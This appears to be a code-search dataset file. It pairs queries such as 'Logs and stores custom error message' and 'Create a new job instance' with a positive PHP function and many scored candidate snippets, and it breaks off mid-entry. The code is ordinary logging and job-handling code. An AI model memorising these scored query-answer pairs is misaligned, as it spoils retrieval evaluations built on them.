e79ac8affe5ceb6809ad9228a956d6db
Logs and stores custom error message (sugar).
[ { "docid": "f37dbe06a2a7a1402ef0e4e02287de79", "score": "0.0", "text": "function display_error_message( $msg ) {\n\n\t\t$msg = self::FB_ADMIN_MESSAGE_PREPEND . $msg;\n\n\t\tWC_Facebookcommerce_Utils::log( $msg );\n\n\t\tset_transient(\n\t\t\t'facebook_plugin_api_error',\n\t\t\t$msg,\n\t\t\tself::FB_MESSAGE_DISPLAY_TIME\n\t\t);\n\t}", "title": "" } ]
[ { "docid": "3e84efecebacc915a9f72ba89e3846f7", "score": "0.70336694", "text": "public function logError()\n {\n\tif($this->logIn==RegistrationEnums::$errorLogInList['FILE'])\n\t{\n\t\tfile_put_contents($this->logInName,$this->error.\"\\n\",FILE_APPEND | LOCK_EX);\n\t}\n\telseif($this->logIn==RegistrationEnums::$errorLogInList['TABLE'])\n\t{\n\t\t$storeObj = new $this->logInName();\n\t\t$storeObj->logError($this->error);\n\t}\n }", "title": "" }, { "docid": "d9c470526ffd6db30b3c36ae278c8302", "score": "0.6960084", "text": "protected function log_error()\n {\n // Get our site url\n $url = $this->url_info;\n $DB = load_class('Loader')->database('DB');\n \n // Make neat the error trace ;)\n $trace = array();\n foreach($this->ErrorTrace as $key => $t)\n {\n if($key == 0) continue; \n unset($t['object']);\n $trace[] = print_r( $t, true );\n }\n \n // Attempt to insert the error in the database\n $data = array(\n 'level' => $this->ErrorLevel,\n 'string' => $this->ErrorMessage,\n 'file' => $this->ErrorFile,\n 'line' => $this->ErrorLine,\n 'url' => $url['site_url'] .\"/\". $url['uri'],\n 'remote_ip' => $_SERVER['REMOTE_ADDR'],\n 'time' => time(),\n 'backtrace' => serialize( $trace )\n );\n $DB->insert('pcms_error_logs', $data);\n }", "title": "" }, { "docid": "96cc521db59e37d2e1ab992d0c043ac9", "score": "0.69567597", "text": "public function error($message)\n {\n $this->logger->addError($message); \n }", "title": "" }, { "docid": "bee77b6b0e1a9bb4f0e0b5ab39831ca7", "score": "0.68819845", "text": "function error($message) {\n\n error_log(\"$message at line \".($this->line ? $this->line : '?').\" column \".($this->column ? $this->column : '?'));\n }", "title": "" }, { "docid": "b6abe49bc6f61f16cfb2ce40294584be", "score": "0.6874847", "text": "public function error($message){}", "title": "" }, { "docid": "866e0ce4c1847e79d2d37a6faeb04ef5", "score": "0.68127555", "text": "static public function error($msg){\r\n\t\t\tself::add(self::ERROR, $msg, 1);\r\n\t\t}", "title": "" }, { "docid": "e6907b8beb06ea013ff885ea4074845f", "score": "0.6794118", "text": "function setError($message){ $this->setMessage(\"error\",$message); }", "title": "" }, { "docid": "eb6305c56f53fb7d4a56c70ff0eaf8f4", "score": "0.671869", "text": "public function logError()\n {\n $this->log($this->createLoggerMessage(AgaviLogger::ERROR, self::DEFAULT_MESSAGE_SCOPE, func_get_args()));\n }", "title": "" }, { "docid": "6c9ed66831ec34531f9c225ea1ff281b", "score": "0.6682246", "text": "public static function error($message) {\n\n\t $logger = LogFactory::getLogger();\n\t $level = LogFactory::getLevel();\n\n\t if($level == 'error' || $level == 'debug')\n\t \t\t $logger->error($message);\n\t }", "title": "" }, { "docid": "c9b3aec7f35af1171ad473ba617f6a43", "score": "0.66809857", "text": "public function error($msg) {\n\t\t$this->log_string($msg, 'ERROR');\n\t}", "title": "" }, { "docid": "d62a0a5776b0a3c2c8d6917d3ed2ffed", "score": "0.6670164", "text": "function set_error_msg($error_str)\n{\n global $logger;\n $logger->error(SELF.\" \".$error_str);\n $error['error'] = $error_str;\n $msg = json_encode($error);\n echo $msg;\n exit;\n}", "title": "" }, { "docid": "6359e1256dec524f61f3f0b0fd799970", "score": "0.66657203", "text": "function customError($errno, $errstr)\n{\n log_this(\"Error: [$errno] $errstr\", \"err\");\n die();\n}", "title": "" }, { "docid": "53f32aefe73ef0789e4e1f3ad51c0af6", "score": "0.6645703", "text": "public function add_error_message() {\n\t\tglobal $error, $limit_login_my_error_shown, $limit_login_nonempty_credentials;\n\n\t\tif ( ! $this->login_show_msg() || $limit_login_my_error_shown || !$limit_login_nonempty_credentials ) {\n\t\t\treturn;\n\t\t}\n\n\t\t$msg = $this->get_message();\n\n\t\tif ( $msg != '' ) {\n\t\t\t$limit_login_my_error_shown = true;\n\t\t\t$error .= $msg;\n\t\t}\n\n\t\treturn;\n\t}", "title": "" }, { "docid": "b2735dada6e5a448bca31dc8b26ab652", "score": "0.663568", "text": "public function error($message);", "title": "" }, { "docid": "6b9c4402330157dc6cd38484e00171a0", "score": "0.6604225", "text": "public function error($message)\n {\n $this->writeLog($message, 'ERROR');\n \n }", "title": "" }, { "docid": "c33b2d19ce6cdf81d768e5ed37738149", "score": "0.65806973", "text": "public static function error ($msg, $name_log='') {\n self::log('ERROR', $msg, $name_log);\n }", "title": "" }, { "docid": "eef159b5279ffc70cac9d2d6d67c437c", "score": "0.6564832", "text": "protected static function error ( $message = '' ) {\n\t\tself::registerLog( 'error', $message, 2 );\n\t\texit;\n\t}", "title": "" }, { "docid": "c518d304ba9880ff92edf0d392537307", "score": "0.65537846", "text": "public function error($msg)\n {\n $this->notification_type = 'error';\n $this->notification_msg = $msg;\n }", "title": "" }, { "docid": "f06876a59b96f0ad4cee5be12043056b", "score": "0.6531999", "text": "function phpErrorToLog($error){\n\t\t$alertPHP = new Alert($error,'error');\n\t\t$S->addToLog($alertPHP);\n\t}", "title": "" }, { "docid": "2db73bb9c1e039144a8688e463649bae", "score": "0.65301746", "text": "function sp_error($message, $level, $file, $line) {\r\n\t\t$this->error = $message;\r\n\t\tswitch ($level) {\r\n\t\t\tcase E_USER_ERROR:\r\n\t\t\t\t$note = 'PHP Error';\r\n\t\t\t\tbreak;\r\n\t\t\tcase E_USER_WARNING:\r\n\t\t\t\t$note = 'PHP Warning';\r\n\t\t\t\tbreak;\r\n\t\t\tcase E_USER_NOTICE:\r\n\t\t\t\t$note = 'PHP Notice';\r\n\t\t\t\tbreak;\r\n\t\t\tdefault:\r\n\t\t\t\t$note = 'Unknown Error';\r\n\t\t\t\tbreak;\r\n\t\t}\r\n\t\terror_log(\"$note: $message in $file on line $line\", 0);\r\n\t}", "title": "" }, { "docid": "570d320dd18ec00e66abe36d8a9736f2", "score": "0.6529056", "text": "function error($string) { $this->msg($string, \"danger\", \"Error:\"); }", "title": "" }, { "docid": "d426167da99aae53068f456c1a7340b4", "score": "0.6512941", "text": "function set_message($error_message);", "title": "" }, { "docid": "eff878d4fde8c3aed259ba16318811e9", "score": "0.6505126", "text": "function defaultError($err) {\n $this->log->write($err);\n }", "title": "" }, { "docid": "cff8c004fc56def0cb37533cce84f7bd", "score": "0.649523", "text": "function error( $msg, $file = '', $line = null ) {\n $this->_log( $msg, ONAPP_LOGGER_VALUE_ERROR );\n echo $this->logs();\n trigger_error( \"FILE => '$file', LINE => '$line'\\n$msg\", E_USER_ERROR );\n }", "title": "" }, { "docid": "69e9f98cbb5d9e662a530a9c1b9e5a1d", "score": "0.6491185", "text": "public function error_message() { return $this->_error['message']; }", "title": "" }, { "docid": "9a4428d4e89fd0f64539f50a3cb3efea", "score": "0.6472628", "text": "public static function error() {\n\t\t\t$parms = func_get_args();\n\t\t\t$parms[1] = str_repeat(' ', self::FUNCTION_LENGTH).' : '.$parms[1];\n\t\t\tlogger::dothelogging(1, $parms);\n\t\t}", "title": "" }, { "docid": "8547d8c81880e7798310f7f49631adf5", "score": "0.6470276", "text": "public function setAlertError()\n\t{\n\t\t$alert = Yii::t('traits','Error').' '.$this->code;\n\n\t\tYii::$app->session->setFlash('error', $alert);\n\t}", "title": "" }, { "docid": "ff121d73b3325c3721a582f60c0fe1ef", "score": "0.6450298", "text": "public function error();", "title": "" }, { "docid": "691fe19f203ec0e017f880850ddfebb8", "score": "0.6446969", "text": "private function __custom_errors()\n {\n if (CString::contains(\".active_sessions' doesn't exist\", $this->message)) {\n ActiveSession::create_table();\n $this->message .= \" The following Query has been executed: \\\"\". ActiveSession::create_table(1) .\"\\\". You should not see this message again.\";\n }\n }", "title": "" }, { "docid": "3aae6e548d1c437aec8d7ebb6d1f0f3f", "score": "0.64369535", "text": "public function error($message) {\r\n\t\t$this->add('error', $message);\r\n\t}", "title": "" }, { "docid": "67f532856eed5c50a42dc91887b11354", "score": "0.64207184", "text": "protected function setError($type, $message, $code = 0) {\n // Read it into the error array\n $this->error['message'] = $message;\n $this->error['code'] = $code;\n\n // Send it to the log\n $GLOBALS['log']->$type($message);\n }", "title": "" }, { "docid": "ffcdefeb1c9944310c49e7cc6839bc0e", "score": "0.64170265", "text": "public function printError()\n\t{\n\t\tLogger::addMessage($this->message);\n\t\treturn;\n\t}", "title": "" }, { "docid": "5944622b20fd428b087737bd9ef7d6ef", "score": "0.6412151", "text": "public function error($message) \n {\n $this->logMessage('ERROR', $message);\n }", "title": "" }, { "docid": "7eea2f69d56b37026e5c9f940a24c362", "score": "0.6411074", "text": "public function error($msg) {\n $this->log($msg, self::LEVEL_ERROR);\n }", "title": "" }, { "docid": "13567ab4bc8921588ce39fb5486bec9b", "score": "0.6409965", "text": "public function error($s_message, array $am_context = array()) {\n \t$this->log($s_message, self::ERROR, $am_context);\n }", "title": "" }, { "docid": "23d6d031205f46c9e3af830556f297c9", "score": "0.64041084", "text": "private static function log_api_error( $message ) {\n\n // Write API error\n $error = ORM::for_table('api_errors')->create();\n $error->error = $message;\n $error->save();\n }", "title": "" }, { "docid": "6584a06e6b67355d80c262053317f520", "score": "0.63943166", "text": "public function action_error()\n\t{\n\t\tglobal $txt;\n\n\t\t$this->has_failure = true;\n\n\t\tif (isset($this->_action['error_msg'], $this->_action['error_var']))\n\t\t{\n\t\t\t$this->failure_details = sprintf($txt['package_will_fail_' . $this->_action['error_msg']], $this->_action['error_var']);\n\t\t}\n\t\telseif (isset($this->_action['error_msg']))\n\t\t{\n\t\t\t$this->failure_details = $txt['package_will_fail_' . $this->_action['error_msg']] ?? $this->_action['error_msg'];\n\t\t}\n\t}", "title": "" }, { "docid": "08d305c2e7f5541f3b3e1190dd5ab805", "score": "0.6386414", "text": "public function error(string $message, array $extra = []);", "title": "" }, { "docid": "ee2761935105067522a3cd88d4b0585a", "score": "0.6379406", "text": "function error($msg)\n {\n $this->lastError = $msg;\n if($this->debugLevel)\n {\n $level = ($this->debugLevel == 2) ? E_USER_ERROR : E_USER_WARNING;\n user_error($msg, $level);\n }\n }", "title": "" }, { "docid": "81a9978e02310383013dcaa5be6a63a3", "score": "0.6377219", "text": "function customError($errno, $errstr)\n {\n echo \"<b>Error:</b> [$errno] $errstr\";\n }", "title": "" }, { "docid": "c041f004228d0436b48ce2c28ddf362c", "score": "0.63558465", "text": "private function error($msg)\n\t{\n\t\t$this->errors[] = $this->message ? $this->message : $msg;\n\t}", "title": "" }, { "docid": "66c4cbf868df517e77001ff7d71b0d0d", "score": "0.6328381", "text": "function set_error($msg) {\n\n\t$time_str=date(\"Y-m-d H:i:s\");\n\terror_log($time_str.\"--->\".$msg.\"\\n\",3,\"/var/tmp/php.log\");\n}", "title": "" }, { "docid": "2c27ab959c14ea88869bdfb56d2c8fa3", "score": "0.63188016", "text": "public function error($class, $method = \"\", $msg = \"\"){\n\t \n\t\t$message = \"ERROR: ($class->$method) $msg\";\t\t\n\t\t$this->log($message);\n\t}", "title": "" }, { "docid": "756e91dfc56ba9258ffb94adfee3def6", "score": "0.6314411", "text": "public function error($text);", "title": "" }, { "docid": "4fe162c2a59a86f7735ea3142295a60d", "score": "0.62975746", "text": "abstract public function get_error();", "title": "" }, { "docid": "ced8a31a101adeeeee600b1bd7acc63b", "score": "0.6290641", "text": "public function error_message($field, $message = '')\n\t{\n\t\t$this->error->message($field, $message);\n\t}", "title": "" }, { "docid": "6f2a6843a15053fa4b3dc753452a1ddf", "score": "0.6282271", "text": "function setError($msg,$error_code=0){\n\t\tif(Sushee_Request::exceptionEnabled() || $this->operationNode->getAttribute('throw-exception')==='true'){\n\t\t\tthrow new SusheeException($msg,$error_code);\n\t\t}\n\t\t\n\t\t$attributes = $this->getOperationAttributes();\n\t\tif(substr($msg,0,9)=='<MESSAGE '){\n\t\t\t$this->msg = '<MESSAGE '.$attributes.' '.substr($msg,9);\n\t\t}else{\n\t\t\t$this->msg = \"<MESSAGE\".$attributes.\" msgType=\\\"1\\\" errorCode=\\\"$error_code\\\">\".encode_to_xml($msg).\"</MESSAGE>\";\n\t\t}\n\t}", "title": "" }, { "docid": "860cfd2d0d643d47fed4a14277b7743f", "score": "0.6259011", "text": "public function errorAction(){\r\n \t\t\r\n \t\t/**\r\n \t\t * get error msg\r\n \t\t */\r\n \t\t$err_msg = $this->getAttribute('err_msg');\r\n \t\t\r\n \t\t\r\n \t\t$this->setDisplay('error');\r\n \t\t\r\n \t}", "title": "" }, { "docid": "2553d97e53383fe873ff4a7bce07feaf", "score": "0.62451655", "text": "abstract public function formatErrorMessages();", "title": "" }, { "docid": "703e2306c195303d9815bb0330e18a5b", "score": "0.6238237", "text": "function print_error() {\r\n echo $this->message;\r\n }", "title": "" }, { "docid": "1bf9cd37e1c2e0b99f1ea15ee4b73cd6", "score": "0.62288815", "text": "public function error( $msg )\n {\n \n $this->write( 'ERROR: '.$msg );\n\n }", "title": "" }, { "docid": "ad7a0d1e1a8543cf7e9b0627486b92f4", "score": "0.6225922", "text": "function Error($message) {\n WriteMessage('[Error] ' . $message);\n}", "title": "" }, { "docid": "da86f9c1f61db17f92b5fd370306d390", "score": "0.62242365", "text": "function error( $message ){\n \n return \"<p class=\\\"error\\\">$message</p>\";\n }", "title": "" }, { "docid": "1dbadd8df915de267e7ea591886619d7", "score": "0.62206006", "text": "protected function writeToErrorLog()\n {\n $thrown = $this->thrown;\n\n $message = 'Fault:' . PHP_EOL;\n\n $message .= $this->renderThrowable($thrown);\n\n while ($thrown = $thrown->getPrevious()) {\n $message .= PHP_EOL . 'Previous error:' . PHP_EOL;\n $message .= $this->renderThrowable($thrown);\n }\n\n $message .= PHP_EOL . 'View in rendered output by enabling the \"displayErrorDetails\" setting.' . PHP_EOL;\n\n error_log($message);\n }", "title": "" }, { "docid": "3feeee315fa7a5a937e4a7db688764f3", "score": "0.62146926", "text": "public function set_error($msg) {\n $CI = & get_instance();\n $CI->lang->load('Excel_export');\n\n if (is_array($msg)) {\n foreach ($msg as $val) {\n $msg = ($CI->lang->line($val) == FALSE) ? $val : $CI->lang->line($val);\n $this->error_msg[] = $msg;\n log_message('error', $msg);\n }\n } else {\n $msg = ($CI->lang->line($msg) == FALSE) ? $msg : $CI->lang->line($msg);\n $this->error_msg[] = $msg;\n log_message('error', $msg);\n }\n }", "title": "" }, { "docid": "cc15feb5e20f62a33e910e566fa90711", "score": "0.62112755", "text": "public function error()\n {\n $error = $this->get('ERROR');\n $this->render('errors/' . $error['code'], compact('error'));\n }", "title": "" }, { "docid": "3fb1e68afc98e80f0e3cf136e6e6d604", "score": "0.62109655", "text": "public function addError($message, array $context = array());", "title": "" }, { "docid": "ec0da8f1624ee9a103fb5d7f339b0eef", "score": "0.62097824", "text": "private function setErrorMessage($msg) {\n $this->sError = $msg;\n }", "title": "" }, { "docid": "d1220a319e7bdac5bfa7d6263c76fc42", "score": "0.62009037", "text": "function add_error ($arg_str_error_msg, $arg_arr_error_params=array(), $arg_str_field_name=\"\") {\r\n\tglobal $__errors;\r\n\tif (!$arg_arr_error_params) $arg_arr_error_params = array();\r\n\t$arr_error = array();\r\n\t$arr_error['error_msg'] = $arg_str_error_msg;\r\n\tif ($arg_arr_error_params) $arr_error['error_params'] = $arg_arr_error_params;\r\n\tif ($arg_str_field_name) $arr_error['field_name'] = $arg_str_field_name;\r\n\t$__errors[] = $arr_error;\r\n}", "title": "" }, { "docid": "d91ea76552f52ef1db55185d93bbbeea", "score": "0.6199463", "text": "function set_error($msg)\n\t{\n\t\t$CI =& get_instance();\t\n\t\t\n\t\tif (is_array($msg))\n\t\t{\n\t\t\tforeach ($msg as $val)\n\t\t\t{\n\t\t\t\t$msg = t('!upload '.$val);\t\t\t\t\n\t\t\t\t$this->error_msg[] = $msg;\n\t\t\t\tlog_message('error', $msg);\n\t\t\t}\t\t\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$msg = t('!upload '.$msg);\t\t\t\t\n\t\t\t$this->error_msg[] = $msg;\n\t\t\tlog_message('error', $msg);\n\t\t}\n\t}", "title": "" }, { "docid": "76b1717ce55f7fba2fc16ea7ddbd57f8", "score": "0.6198874", "text": "function log_error($emMessage, $controller=\"unknown\", $method=\"index\") {\n\n}", "title": "" }, { "docid": "fb9e98fec3dcfd5cc12d4cda6485e0b3", "score": "0.6198186", "text": "function get_error_message_str ()\r\n {\r\n return $this->error_message_str;\r\n }", "title": "" }, { "docid": "52185370f3435727151690251ef39fee", "score": "0.61931026", "text": "public static function error($message) {\n // TODO 3.1 - Session flashes?\n debugging($message, DEBUG_DEVELOPER);\n }", "title": "" }, { "docid": "aa127e43099ad4499f5981ee6ed72510", "score": "0.6186594", "text": "public function errorAction() {}", "title": "" }, { "docid": "8fe918ecfd612d42d78f4185ef4769be", "score": "0.61806816", "text": "public function error()\n\t{\n\t}", "title": "" }, { "docid": "3b674aa91b51cd1ca5d0a54bec62c43d", "score": "0.61776185", "text": "protected function storeError($message) { \n\n\t\t\t\t$this->get('session')->getFlashBag()->add('error', $message);\n\n\t\t}", "title": "" }, { "docid": "7b28b0dae2bbcb927718446a2b389737", "score": "0.6174077", "text": "public function getCustomError()\n\t{\n $error = '<div style=\"font-size:14px; color:#000000;\">';\n\t\t$error .= '<div style=\"padding:8px; background:#eee; font:\\'Courier New\\', Courier, mono; font-weight:bold;\">';\n\t\t$error .= $this->getMessage();\n\t\t$error .= '</div>';\n\t\t$error .= '<div style=\"font-size:12px; padding:2px 8px; background:#FFFFCC; font:\\'Courier New\\', Courier, mono\"><pre>';\n\t\t$error .= \"Code: \" . $this->getCode() . \"\\n\" . \"File: \" . $this->getFile() . \"\\n\" . \"Line: \" . $this->getLine() . \" at: \\n\";\n\t\t$error .= $this->getTraceAsString() . \"\\n\";\n\t\t$error .= '</pre></div>';\t\t\n\t\t$error .= '</div>';\n\t\t\n\t\treturn $error.\"<br/>\";\n\t}", "title": "" }, { "docid": "56d2cf78671b8bff464eab7f7163e65f", "score": "0.61724544", "text": "protected function setError()\n {\n $msg = 'A technical error occurred during the submission, please try again';\n $this->error = new T_Form_Error($msg);\n }", "title": "" }, { "docid": "b219bfa1789d9d82d479bcfdf2456b43", "score": "0.6170582", "text": "public function set_error($field, $message) {\n $this->_field_data[$field]['error'] = $message;\n }", "title": "" }, { "docid": "bf7682e5ad8ff51d7994355171b3d219", "score": "0.6170451", "text": "function customError($errno, $errstr) {\n echo \"\n <b>\n Error:\n </b>\n [$errno] $errstr\";\n}", "title": "" }, { "docid": "8c8e593bd637c229d341d37c8dfe276a", "score": "0.6164148", "text": "public function get_error_message() {\n\t\treturn $this->error_message;\n\t}", "title": "" }, { "docid": "604a9ded872f67ce638752105abbacab", "score": "0.61634845", "text": "function getErrorLog() : string;", "title": "" }, { "docid": "9df254d5c57c1d19242024abada03da0", "score": "0.61623466", "text": "public function error() {\n \n\t\treturn $this->customise(new ArrayData(array(\n\t\t\t'Title' => _t('TwitterConnect.ERRORTITLE', 'TwitterConnect.ERRORTITLE'),\n\t\t\t'Content' => _t('TwitterConnect.ERRORCONTENT', 'TwitterConnect.ERRORCONTENT')\n\t\t)))->renderWith(\n\t\t\tarray('Twitter_error', 'Twitter', $this->stat('template_main'), $this->stat('template'))\n\t\t);\n\t}", "title": "" }, { "docid": "a1865877ce9af930a9d870be44004817", "score": "0.616117", "text": "function myErrorHandler($errno, $errstr, $errfile, $errline) {\n echo \"<b>Custom error:</b> [$errno] $errstr<br>\";\n echo \" Error on line $errline in $errfile<br>\";\n}", "title": "" }, { "docid": "472569a21c631a5d8994e731125fa1ec", "score": "0.6158467", "text": "function errorMessageHandler ($e)\n{\n echo $e->getMessage();\n}", "title": "" }, { "docid": "a11ada4524c95e09198c26c2e35be5c3", "score": "0.6156656", "text": "function errorlog($message)\n{\nsend_notification(1, -2, \"Error Report\", $message);\n}", "title": "" }, { "docid": "b3b38f63d0658a8aaf37c2657b42236e", "score": "0.6153769", "text": "function admin_error($title, $message = '')\n {\n admin_info($title, $message, 'danger');\n }", "title": "" }, { "docid": "d0d6bcf698a8188e4d8c51a5471ed566", "score": "0.6152998", "text": "public static function errorlog($message,$type,$response=\"\")\n {\n//\n// if (in_array($type, self::getLevels())) {\n// $url=Uni::$app->request->url;\n// $ip=GetIP::getIP();\n// $log=$loging->find()->where(['url'=>$url])->andWhere(['ip'=>$ip])->one();\n// if($log){\n// $log->date = time();\n// $log->save();\n// }else{\n// $logger=new Logger();\n// $logger->action_id = $type;\n// $logger->type_id = $type;\n// $logger->ip =$ip;\n// $logger->message = $message;\n// $logger->date = time();\n// $user = Uni::$app->user;\n// $logger->user_id = $user->id ?: 0;\n// $logger->tag_id = self::$tag;\n// $logger->save(true);\n// }\n// }\n }", "title": "" }, { "docid": "8f95445fa4ebf6e55630b37d63d945cf", "score": "0.6144985", "text": "public function getError () {}", "title": "" }, { "docid": "e70acb51e90663e902a0d30da40d380a", "score": "0.61437196", "text": "public function error($message)\n {\n $this->set('error', $message);\n }", "title": "" }, { "docid": "ebad7fba8a058f1c9830820bd5b97ee6", "score": "0.6141004", "text": "public function writeError($text) {\n echo '[Error] ' . date('H:i:s') . \" : \" . $text . \"\\n\";\n }", "title": "" }, { "docid": "064e878ae72ba37f54fd1111161624b2", "score": "0.61400557", "text": "public function add_error_message($msg) {\n array_push($this->errors, $msg);\n }", "title": "" }, { "docid": "8f15c8ee41c4bdfdc706fcc254f8f218", "score": "0.6125856", "text": "public function error(string $message, string $code = null) {}", "title": "" }, { "docid": "939732628ea83256e308247539b682a0", "score": "0.6124753", "text": "abstract protected function getErrorMessage();", "title": "" }, { "docid": "0fb4c7104e937354f9456176691d969d", "score": "0.61202043", "text": "protected function onError($message) {\n\n if ($this->log) {\n $this->log->status = \"fail\";\n $this->log->response = $message;\n $this->log->save();\n }\n Gonzales::log(\"ERROR: \".$message . \" request \" . $this->log->request , $this, 'api');\n }", "title": "" }, { "docid": "23aa6f039c230208b1430088f6a9ec58", "score": "0.61189014", "text": "public function get_error_message()\n\t{\n\t\treturn $this->error;\n\t}", "title": "" }, { "docid": "7930a56aca4183cbe07754141fc0fad1", "score": "0.61035794", "text": "public function message()\n {\n return 'Add document error!';\n }", "title": "" }, { "docid": "d8cc43dc4ffcd49d8201b6ce3d7c095e", "score": "0.6102913", "text": "function errorLog($message) {\n $errorLogFile = class_exists('Gdn', false) ? Gdn::config('Garden.Errors.LogFile', '') : '';\n\n // Log only if the PHP setting \"log_errors\" is enabled\n // OR if the Garden config \"Garden.Errors.LogFile\" is provided\n if (!$errorLogFile && !ini_get('log_errors')) {\n return;\n }\n\n // Make sure the message can be converted to a string otherwise bail out\n if (!is_string($message) && !method_exists($message, '__toString')) {\n return;\n }\n\n if (!is_string($message)) {\n // Cast the $message to a string\n $message = (string) $message;\n }\n\n $destination = null;\n if (!$errorLogFile) {\n // sends to PHP's system logger\n $messageType = 0;\n } else {\n // appends to a file\n $messageType = 3;\n $destination = $errorLogFile;\n\n // Need to prepend the date when appending to an error log file\n // and also add a newline manually\n $date = date('d-M-Y H:i:s e');\n $message = sprintf('[%s] %s', $date, $message) . PHP_EOL;\n }\n\n @error_log($message, $messageType, $destination);\n }", "title": "" }, { "docid": "10f7d58365633052e90633621b9e5fee", "score": "0.6102832", "text": "private function logError($message)\n {\n return '<error>' . $message . '</error>';\n }", "title": "" }, { "docid": "75d6e396162a3077b780bde4a7a80db1", "score": "0.6102741", "text": "private function renderLog()\n {\n\n Log::error($this->getException()->toJsonString());\n }", "title": "" }, { "docid": "552780638c1c1cb1c08920ca07ebe0a3", "score": "0.6102466", "text": "public static function Error($message) {\n self::$messages[] = $message;\n }", "title": "" }, { "docid": "9734965fa4afd2360430fe7a33a265c8", "score": "0.60987407", "text": "public abstract function getError();", "title": "" }, { "docid": "87bf85b32cba573dfd7bfa8430949aa6", "score": "0.60980344", "text": "abstract public function addErrorMessage($value);", "title": "" }, { "docid": "c0be9519e84620a93c8c7be8de72746e", "score": "0.6091553", "text": "function error($value = '', $tag = self::DEFAULT_TAG) {\n\n self::log('ERROR', $value, $tag);\n }", "title": "" }, { "docid": "4371ec80178a96d5c151ab248823e0cc", "score": "0.6086199", "text": "public static function error($msg) {\n\t\t$cont = isset($_REQUEST['fmContainer']) ? $_REQUEST['fmContainer'] : '';\n\t\t$d = @date('Y-m-d H:i:s');\n\t\t$m = addslashes($msg);\n\t\tdie(\"{cont:'$cont',lang:'en',title:'ERROR',error:'$m',messages:[{time:'$d',text:'$m',type:'error'}],end:1}\");\n\t}", "title": "" }, { "docid": "a1377de343f370e4b31a9e8856d8b1b4", "score": "0.6082779", "text": "public function text_error() {\r\n\t\t\r\n\t\tif($this->title != null) {\r\n\t\t\treturn $this->title.\": \".$this->error;\r\n\t\t}else{\r\n\t\t\treturn $this->error;\r\n\t\t}\r\n\t\t\r\n\t}", "title": "" }, { "docid": "4f10eaeb31d425f6ef3884629e52246f", "score": "0.6081262", "text": "function custom_error($msg){\n\tif (ini_get('display_errors') && error_reporting() > 0){\n\t\t$info\t\t= next(debug_backtrace());\n\t\t\n\t\t$prepend\t= ini_get('error_prepend_string');\n\t\t$append\t\t= ini_get('error_append_string');\n\t\t\n\t\techo \"{$prepend}\\nWarning: {$msg} in {$info['file']} on line {$info['line']}\\n{$append}\\n\\n\";\n\t}\n}", "title": "" }, { "docid": "9adb5f5d8bbb9948869d02927431b9f1", "score": "0.60769296", "text": "public static function error($message, $logKey = 'default')\n\t{\n self::write($message, LogLevel::ERROR, $logKey);\n\t}", "title": "" }, { "docid": "89b2e1d941c864965173adaa92d329f3", "score": "0.60697716", "text": "public function getCustomError(String $message = \"\", $dbError = 0) {\n if( $dbError != 0 ) {\n $date = date('y-m-d h:i:sa');\n $error =\n \"\\n\" . $date\n .\"\\nError in \" . $this->getFile()\n .\"\\nCode: \" . $dbError['code']\n .\"\\nMessage: \" . $dbError['message']\n .\"\\nTrace: \\n\".$this->getTraceAsString().\"\\n\";\n } else {\n $date = date('y-m-d h:i:sa');\n $error =\n \"\\n\". $date\n .\"\\nError in \".$this->getFile().\": \".$this->getMessage()\n .\"\\nLine: \".$this->getLine()\n .\"\\nTrace: \\n\".$this->getTraceAsString().\"\\n\";\n }\n\n error_log($error, 3, $this->logPath);\n\n if( empty($message) ) {\n return $this->customMessage;\n } else {\n return '<div class=\"exception textCenter\">'.$message.'</div>';\n }\n }", "title": "" }, { "docid": "a435d5eecca9fc575378b31a25e4d630", "score": "0.6066559", "text": "function get_error_log_str ()\r\n {\r\n return $this->error_log_str;\r\n }", "title": "" }, { "docid": "3aaa8bdd02846b2c3e95052889403eb3", "score": "0.6064632", "text": "protected function error($message) {\n error_log($message);\n die($message);\n }", "title": "" } ]
fc1854ae5061994c2f70a96d4c19b573
Create a new job instance.
[ { "docid": "7627a561e4769f11b9cd0b485a427149", "score": "0.0", "text": "public function __construct(User $user, $message)\n {\n $this->user = $user;\n $this->message = $message;\n }", "title": "" } ]
[ { "docid": "d8f2ed5ae16bf452480e3962fa2836b0", "score": "0.78623444", "text": "public function create($job);", "title": "" }, { "docid": "1ce8a13ae14c109d3635bec2e1d3fdb5", "score": "0.72728413", "text": "private function createJob($job, array $jobOptions = array())\n {\n return $this->jobFactory->create($job, $jobOptions);\n }", "title": "" }, { "docid": "19cde0d3bf8b12fc217e60eab12d84fe", "score": "0.7170586", "text": "function create_job () {\n $this->_wizard_data_to_job();\n }", "title": "" }, { "docid": "371c3c6444d58b03021438911aea03c3", "score": "0.6918219", "text": "public function create($parent, GoogleCloudMlV1Job $postBody, $optParams = [])\n {\n $params = ['parent' => $parent, 'postBody' => $postBody];\n $params = array_merge($params, $optParams);\n return $this->call('create', [$params], GoogleCloudMlV1Job::class);\n }", "title": "" }, { "docid": "8d348792e544595bf56557a1a6d66183", "score": "0.68550396", "text": "public function createJob($job) {\n $jobDAO = new JobDAO();\n return $jobDAO->createJob($job);\n }", "title": "" }, { "docid": "19c70a6f6579ddbcee2afa2a835f075e", "score": "0.680368", "text": "public static function createJob($className, $args) {\n\t\tlist($plugin, $model) = pluginSplit($className);\n\t\t$classpath = APP . (empty($plugin) ? '' : 'Plugin' . DS . $plugin . DS) . 'Console' . DS . 'Command' . DS . $model . '.php';\n\t\tif (file_exists($classpath)) {\n\t\t\trequire_once $classpath;\n\t\t} else {\n\t\t\tthrow new Resque_Exception('Could not find job class ' . $className . '.');\n\t\t}\n\n\t\tif (!class_exists($model)) {\n\t\t\tthrow new Resque_Exception('Could not find job class ' . $className . '.');\n\t\t}\n\n\t\tif (!method_exists($model, 'perform')) {\n\t\t\tthrow new Resque_Exception('Job class ' . $className . ' does not contain a perform method.');\n\t\t}\n\n\t\tif (!isset($args[0]) || !method_exists($model, $args[0])) {\n\t\t\tthrow new Resque_Exception('Job class ' . $className . ' does not contain ' . $args[0] . ' method.');\n\t\t}\n\n\t\treturn new $model();\n\t}", "title": "" }, { "docid": "d5a71362d560ca76c4f151169252231a", "score": "0.6797601", "text": "public function createJobObject($payload)\n {\n $job = new Job([\n 'title' => $payload['jobTitle'],\n 'name' => $payload['jobTitle'],\n 'url' => $payload['detailUrl'],\n 'location' => $payload['location'],\n ]);\n\n $location = static::parseLocation($payload['location']);\n\n $job->setCompany($payload['company'])\n ->setDatePostedAsString($payload['date']);\n\n if (isset($location[0])) {\n $job->setCity($location[0]);\n }\n if (isset($location[1])) {\n $job->setState($location[1]);\n }\n\n return $job;\n }", "title": "" }, { "docid": 